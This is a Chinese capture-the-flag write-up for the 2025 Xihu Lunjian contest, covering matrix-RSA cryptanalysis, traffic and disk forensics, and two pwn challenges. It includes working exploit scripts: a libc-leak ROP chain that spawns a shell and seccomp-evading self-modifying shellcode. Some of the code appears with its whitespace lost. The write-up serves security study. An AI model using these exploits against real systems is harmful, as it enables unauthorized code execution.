2025西湖论剑网络安全技能大赛个人wp

admin 2025年2月11日01:06:20评论15 views字数 7126阅读23分45秒阅读模式
CRYPTO
matrixRSA
2025西湖论剑网络安全技能大赛个人wp
首先,代码会将初始的flag字符串通过添加随机可打印字符的方式,使其长度扩充至9乘以23,即207个字符。随后,将这个扩展后的字符串分割成9个长度均为23个字符的子块。接着,将这9个字符块分别转换为对应的长整型数值,并将这些数值按照3行3列的格式组织成一个3乘3的矩阵M。然后,利用公式C=M的e次方对矩阵M进行加密处理,得到加密矩阵C。在输出结果时,会输出p的高100位数值、n的值以及加密后的矩阵C。由于已知p的高位信息、p的位数以及n的值,因此可以通过coppersmith攻击方法来求解出p和q的具体数值。
from sage.all import * n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816 424955849796168059204379325075568094431259877923353664926875986223020472585645919 414821322880213299188157427622804140996898685564075484754918339670099806186873974 594139182324884620018780943630196754736972805036038798946726414009 p4=970752966872150809487875438363681305876140752895018901378931573244704863174084 9315894253576415843631107370002912949379757275 e = 0x10001 pbits = 512 kbits = pbits - p4.nbits()print(p4.nbits()) p4 = p4 << kbits PR. = PolynomialRing(Zmod(n)) f = x + p4 roots = f.small_roots(X=2^kbits, beta=0.4)if roots:        p = p4+int(roots[0])print ("n: ", n)   print ("p: ", p)print ("q: ", n/p)
但是求出来的pq之后,原来的矩阵一直不对,于是我通过关键字搜索,发现了类似的exp 
https://latallvia-d.github.io/2024/07/02/%E8%AE%BA%E6%96%87%E5%A4%8D%E7%8E%B0%EF%BC%9AA%20Matrix%20Extension%20of%20the%20RSA%20Cryptosystem/
文章里的内容与本题几乎是一致的。
2025西湖论剑网络安全技能大赛个人wp
那就根据exp进行一下修改,跑一下就能拿到flag了
import gmpy2from sage.allimport *from Crypto.Util.number import * n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009 C = [ (130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941,71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757,67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615), (23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362 057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993,971132382926982975151917775591516440265869366863186849938394520362719717150844133221190727847327671306627528397385651358020580851791809601769912295446430555679530 087400562700146429776041389707404408066594180258868092643003071529971324144231330 0920463145903399054123967914968894345491958980945927764454159601,44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401), (67805732998935098446255672500407441801838056284635701147853683333480924477835278 030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572,134860487230562692168256154990525634111328927027276348332802699238829086769444186249023257376199456470931903979198286237882456443330363400842544905422923570449741398843047150337109886581091609368093987220701256909198299066422733779820211201607 02344103998315875166038849942426382506293976662337161520494820727,959326907386970245195462891359925127768778847414584392428876030217924095754481925 084568132154869043924407728080836584102850884510862984183039876286341504317257949 04656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676) ] e=65537#print(factor(n)) p = 123057558112881646556817092527172580152292959893029345662127123193148353354619462 41491177972870130171728224502716603340551354171940107285908105124549960063 q = 107509672466218498020903860559216791145161227042523308817221003315267576370440674 92444912824266860574267360247681890637480406758188129451052986858429875143 C = Matrix(Zmod(n), C) gp = (p**2-p)*(p**2-1) gq = (q**2-q)*(q**2-1) g = gp * gq d = gmpy2.invert(e, g) M=C**d%n m = b''.join(long_to_bytes(int(y)) for x in M for y in x) print(m)
2025西湖论剑网络安全技能大赛个人wp
lot
blink
2025西湖论剑网络安全技能大赛个人wp
通过strings发现旁边摩斯电码,旁边有一个esay的内容
2025西湖论剑网络安全技能大赛个人wp
尝试提交没想到直接过了
shark
2025西湖论剑网络安全技能大赛个人wp
通过http流找到一个elf文件将他dump下来
2025西湖论剑网络安全技能大赛个人wp

丢安恒云沙箱跑出flag,得到IP:115.195.88.161,然后发现流量包有接口命令执行 flag{setSystemAdmin_115.195.88.161}

DS

DS1

2025西湖论剑网络安全技能大赛个人wp

分析日志可以发现传输的文件是一个zip

2025西湖论剑网络安全技能大赛个人wp

将Zip提取出来后发现需要密码,寻找密码时发现webshell中有提示

2025西湖论剑网络安全技能大赛个人wp
2025西湖论剑网络安全技能大赛个人wp

猜测传输的图片就是压缩包的密码,将图片完整的提取下来,之后尝试对图片信息进行提取,最后在盲水印发现了压缩包密码。

2025西湖论剑网络安全技能大赛个人wp

解压得到flag

2025西湖论剑网络安全技能大赛个人wp
misc
糟糕的磁盘
2025西湖论剑网络安全技能大赛个人wp
2025西湖论剑网络安全技能大赛个人wp
通过取证大师挂载识别,跑到发现Secret是加密容器,Key.png是秘钥文件
2025西湖论剑网络安全技能大赛个人wp
进去发现flag.txt文件
pwn
pwn1
C++栈菜单题,主要利用一个栈上的模拟vector进行操作,他有5个功能分别是: edit,push,pop,print,exit
可以尝试通过获取堆栈内容,计算出libc的基址,从而得到关键函数和字符串的地址。利用edit函数将关键地址写入指定位置,构造ROP链,调用system('/bin/sh'),通过触发ROP链的执行,调用system('/bin/sh'),获取目标系统的shell,实现任意代码执行。
from pwn import *libc=ELF('./libc.so.6')p = remote('ip',port)defcommand(option):    p.sendlineafter(b'choice',str(option))defedit(idx,Content=b'1'):    command(1)    p.recvuntil(b'edit')    p.sendline(bytes(str(idx),'utf-8'))    p.recvuntil(b'value')    p.sendline(bytes(str(Content),'utf-8'))defdword_data(data,half):if(half==0):        tmp=data&0xffffffffelse:tmp=(data>>32)&0xffffffffif(tmp>0x7FFFFFFF):tmp-= 2**32return tmpfor i inrange(8):    command(2)    p.recvuntil(b'push')    p.sendline(b'888')command(4)p.recvuntil(b'StackVector contents: ')vector_data=p.recvuntil(b'n').split(b' ')libc_addr=(int(vector_data[19])<<32)+(int(vector_data[18])&0xffffffff)libcbase=libc_addr-0x29d90system=libcbase+libc.symbols['system']str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))pop_rdi=libcbase+0x2a3e5rop_index=18edit(rop_index,dword_data(pop_rdi+1,0))edit(rop_index+1,dword_data(pop_rdi+1,1))edit(rop_index+2,dword_data(pop_rdi,0))edit(rop_index+3,dword_data(pop_rdi,1))edit(rop_index+4,dword_data(str_bin_sh,0))edit(rop_index+5,dword_data(str_bin_sh,1))edit(rop_index+6,dword_data(system,0))edit(rop_index+7,dword_data(system,1))command(5)p.interactive()
pwn3
通过IDA Pro打开ELF文件,发现可以执行输入的shellcode,但先是限制了出现syscall指令最多出现两次,又限制了可以进行的syscall,我们先打开文件,再利用mmap函数将其映射到内存中,再通过syscall调用write函数输出结果即可。
from pwn import *p = process('./pwn')context.arch = 'amd64' # 设置x64模式shellcode = asm(shellcraft.open('flag',0,0))+asm(shellcraft.mmap(0x80000,0x1000,1,1,'rax',0))+asm('''mov rax,1mov rdi,1mov rsi,0x80000mov rdx,0x30mov byte ptr [rip],0x0f''')+b'x01x05' # 第一步打开flag文件,第二步映射到内存,第三步调用write的syscall,为了防止超过syscall出现次数上限,这里不能出现syscall本来的x0Fx05,通过修改rip寄存器的值(此时rip寄存器已经指向了0x01的位置)把下一个指令修改为syscallp.send(shellcode)p.interactive()

原文始发于微信公众号(赛查查):2025西湖论剑网络安全技能大赛个人wp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月11日01:06:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2025西湖论剑网络安全技能大赛个人wphttps://cn-sec.com/archives/3662193.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息